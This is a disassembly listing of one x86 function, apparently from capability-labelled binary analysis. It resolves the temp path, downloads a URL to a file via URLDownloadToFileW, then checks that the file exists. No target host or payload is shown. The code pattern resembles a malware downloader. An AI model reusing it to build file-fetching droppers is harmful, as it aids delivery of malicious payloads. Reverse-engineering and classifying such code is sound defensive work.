Function at 0x410730
Capabilities:
Check if file exists
Download url
Get common file path
Receive data
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x521da4
mov eax, dword fs:[0]
push eax
mov eax, 0x26ad0
call fcn.0043b980
mov eax, dword [0x574674]
xor eax, esp
mov dword [esp + 0x26ac8], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x574674]
xor eax, esp
push eax
lea eax, [esp + 0x26ae4]
mov dword fs:[0], eax
mov eax, dword [esp + 0x26af4]
xor ebx, ebx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], ebx
push 0x206
lea ecx, [esp + 0x266d2]
push ebx
mov dword [esp + 0x26af4], 2
push ecx
mov word [esp + 0x266d8], bx
call fcn.00437ec0
add esp, 0xc
push 0x206
lea edx, [esp + 0x264ca]
push ebx
push edx
mov word [esp + 0x264d0], bx
call fcn.00437ec0
add esp, 0xc
push 0x206
lea eax, [esp + 0x268da]
push ebx
push eax
mov word [esp + 0x268e0], bx
call fcn.00437ec0
add esp, 0xc
lea ecx, [esp + 0x268d4]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x104
lea edx, [esp + 0x264c8]
push edx
lea eax, [esp + 0x268dc]
push eax
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
xor eax, eax
jmp 0x410820
movzx ecx, word [esp + eax + 0x264c4]
mov word [esp + eax + 0x266cc], cx
add eax, 2
cmp cx, bx
jne 0x410820
cmp dword [esp + 0x26b2c], 8
mov eax, dword [esp + 0x26b18]
jae 0x410850
lea eax, [esp + 0x26b18]
mov esi, eax
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x410852
lea edi, [esp + 0x266cc]
sub eax, esi
add edi, 0xfffffffe
lea esp, [esp]
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x410870
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x266cc]
call fcn.0040a120
mov ebp, 7
lea eax, [esp + 0x264c4]
mov dword [esp + 0x78], ebp
mov dword [esp + 0x74], ebx
mov word [esp + 0x64], bx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4108b2
sub eax, edx
sar eax, 1
push eax
lea ecx, [esp + 0x264c8]
push ecx
lea ecx, [esp + 0x68]
call fcn.00402110
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x26b1c]
push edx
lea ecx, [esp + 0x6c]
mov byte [esp + 0x26af8], 3
call fcn.00402320
lea eax, [esp + 0x26af8]
push eax
lea ecx, [esp + 0x40]
push ecx
call fcn.0040a680
mov esi, 0x10
add esp, 8
cmp dword [eax + 0x18], esi
jb 0x410913
mov ecx, dword [eax + 4]
jmp 0x410916
lea ecx, [eax + 4]
lea edx, [esp + 0x394]
lea ecx, [ecx]
mov al, byte [ecx]
mov byte [edx], al
add ecx, 1
add edx, 1
cmp al, bl
jne 0x410920
cmp dword [esp + 0x54], esi
jb 0x410941
mov edx, dword [esp + 0x40]
push edx
call fcn.00418473
add esp, 4
lea eax, [esp + 0x264c4]
mov dword [esp + 0x38], ebp
mov dword [esp + 0x34], ebx
mov word [esp + 0x24], bx
lea edx, [eax + 2]
jmp 0x410960
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x410960
sub eax, edx
sar eax, 1
push eax
lea eax, [esp + 0x264c8]
push eax
lea ecx, [esp + 0x28]
call fcn.00402110
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x40]
push edx
mov byte [esp + 0x26af4], 4
call fcn.0040a680
add esp, 8
cmp dword [eax + 0x18], esi
jb 0x4109a5
mov ecx, dword [eax + 4]
jmp 0x4109a8
lea ecx, [eax + 4]
lea edx, [esp + 0x594]
nop
mov al, byte [ecx]
mov byte [edx], al
add ecx, 1
add edx, 1
cmp al, bl
jne 0x4109b0
cmp dword [esp + 0x54], esi
jb 0x4109d1
mov eax, dword [esp + 0x40]
push eax
call fcn.00418473
add esp, 4
mov byte [esp + 0x26aec], 3
cmp dword [esp + 0x38], 8
mov dword [esp + 0x54], 0xf
mov dword [esp + 0x50], ebx
mov byte [esp + 0x40], bl
jb 0x4109fd
mov ecx, dword [esp + 0x24]
push ecx
call fcn.00418473
add esp, 4
lea ecx, [esp + 0x694]
call fcn.00417b7a
sub esp, 0x300
mov edi, esp
mov byte [esp + 0x26dec], 5
mov ecx, 0xc0
lea esi, [esp + 0x694]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x994]
call fcn.00418226
lea ecx, [esp + 0x694]
call fcn.0041809d
push 0x200
lea edx, [esp + 0x80]
push ebx
push edx
call fcn.00437ec0
add esp, 0xc
push 0x100
lea eax, [esp + 0x280]
push ebx
push eax
call fcn.00437ec0
fldz
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
fst qword [esp + 0x390]
fstp qword [esp + 0x398]
add esp, 0xc
mov dword [esp + 0x37c], ebx
jmp 0x410a90
lea ecx, [esp + 0x694]
call fcn.00417bd8
test eax, eax
je 0x410ab5
lea ecx, [esp + 0x7c]
push ecx
lea ecx, [esp + 0x698]
call fcn.00418083
push 0x64
call esi
lea ecx, [esp + 0x694]
call fcn.00417be4
test eax, eax
je 0x410a90
lea edx, [esp + 0x7c]
push edx
lea ecx, [esp + 0x698]
call fcn.00418083
fld qword [esp + 0x384]
fld st(0)
fld qword [esp + 0x38c]
fucom st(1)
fnstsw ax
fstp st(1)
test ah, 0x44
jp 0x410b03
fstp st(1)
fldz
fucompp
fnstsw ax
test ah, 0x44
jnp 0x410b25
jmp 0x410c5f
fldz
fucompp
fnstsw ax
test ah, 0x44
jnp 0x410b23
fld qword [0x5685c0]
fucompp
fnstsw ax
test ah, 0x44
jnp 0x410c5f
jmp 0x410b25
fstp st(0)
lea esi, [esp + 0x58]
call fcn.00415530
mov byte [esp + 0x26aec], 6
lea eax, [esp + 0x264c4]
mov dword [esp + 0x54], ebp
mov dword [esp + 0x50], ebx
mov word [esp + 0x40], bx
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x410b50
sub eax, edx
sar eax, 1
push eax
lea eax, [esp + 0x264c8]
push eax
lea ecx, [esp + 0x44]
call fcn.00402110
mov byte [esp + 0x26aec], 7
cmp dword [esp + 0x26b10], 8
mov edx, dword [esp + 0x26afc]
jae 0x410b91
lea edx, [esp + 0x26afc]
mov eax, edx
mov dword [esp + 0x38], ebp
mov dword [esp + 0x34], ebx
mov word [esp + 0x24], bx
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x410ba3
sub eax, esi
sar eax, 1
push eax
push edx
lea ecx, [esp + 0x28]
call fcn.00402110
lea ecx, [esp + 0x3c]
push ecx
lea ecx, [esp + 0x24]
lea ebx, [esp + 0x5c]
mov byte [esp + 0x26af0], 8
call fcn.004155e0
mov edi, 8
cmp dword [esp + 0x38], edi
movzx esi, al
jb 0x410bf2
mov edx, dword [esp + 0x24]
push edx
call fcn.00418473
add esp, 4
xor ebx, ebx
cmp dword [esp + 0x54], edi
mov dword [esp + 0x38], 7
mov dword [esp + 0x34], ebx
mov word [esp + 0x24], bx
jb 0x410c18
mov eax, dword [esp + 0x40]
push eax
call fcn.00418473
add esp, 4
cmp esi, ebx
mov byte [esp + 0x26aec], 5
jne 0x410c58
mov ecx, dword [esp + 0x64]
mov eax, edi
cmp dword [esp + 0x78], eax
jae 0x410c34
lea ecx, [esp + 0x64]
cmp dword [esp + 0x26b10], eax
mov eax, dword [esp + 0x26afc]
jae 0x410c4b
lea eax, [esp + 0x26afc]
push 0
push 0
push ecx
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileW
mov ebp, 7
xor ebx, ebx
mov eax, dword [esp + 0x64]
mov edi, 8
cmp dword [esp + 0x78], edi
jae 0x410c72
lea eax, [esp + 0x64]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
mov esi, dword [esp + 0x1c]
mov dword [esi + 0x18], ebp
mov dword [esi + 0x14], ebx
mov word [esi + 4], bx
jne 0x410d21
push ebx
push 0x566d2c
mov ecx, esi
call fcn.00402110
lea ecx, [esp + 0x694]
mov dword [esp + 0x18], 1
mov byte [esp + 0x26aec], 3
call fcn.00417bd3
cmp dword [esp + 0x78], edi
jb 0x410ccb
mov ecx, dword [esp + 0x64]
push ecx
call fcn.00418473
add esp, 4
cmp dword [esp + 0x26b10], edi
mov dword [esp + 0x78], ebp
mov dword [esp + 0x74], ebx
mov word [esp + 0x64], bx
jb 0x410cf1
mov edx, dword [esp + 0x26afc]
push edx
call fcn.00418473
add esp, 4
cmp dword [esp + 0x26b2c], edi
mov dword [esp + 0x26b10], ebp
mov dword [esp + 0x26b0c], ebx
mov word [esp + 0x26afc], bx
jb 0x410db4
mov eax, dword [esp + 0x26b18]
push eax
jmp 0x410dac
push 0xffffffffffffffff
push ebx
lea ecx, [esp + 0x68]
push ecx
mov ecx, esi
call fcn.00401e80
lea ecx, [esp + 0x694]
mov dword [esp + 0x18], 1
mov byte [esp + 0x26aec], 3
call fcn.00417bd3
cmp dword [esp + 0x78], edi
jb 0x410d5f
mov edx, dword [esp + 0x64]
push edx
call fcn.00418473
add esp, 4
cmp dword [esp + 0x26b10], edi
mov dword [esp + 0x78], ebp
mov dword [esp + 0x74], ebx
mov word [esp + 0x64], bx
jb 0x410d85
mov eax, dword [esp + 0x26afc]
push eax
call fcn.00418473
add esp, 4
cmp dword [esp + 0x26b2c], edi
mov dword [esp + 0x26b10], ebp
mov dword [esp + 0x26b0c], ebx
mov word [esp + 0x26afc], bx
jb 0x410db4
mov ecx, dword [esp + 0x26b18]
push ecx
call fcn.00418473
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x26ae4]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x26ac8]
xor ecx, esp
call fcn.004338df
add esp, 0x26adc
ret 0x3c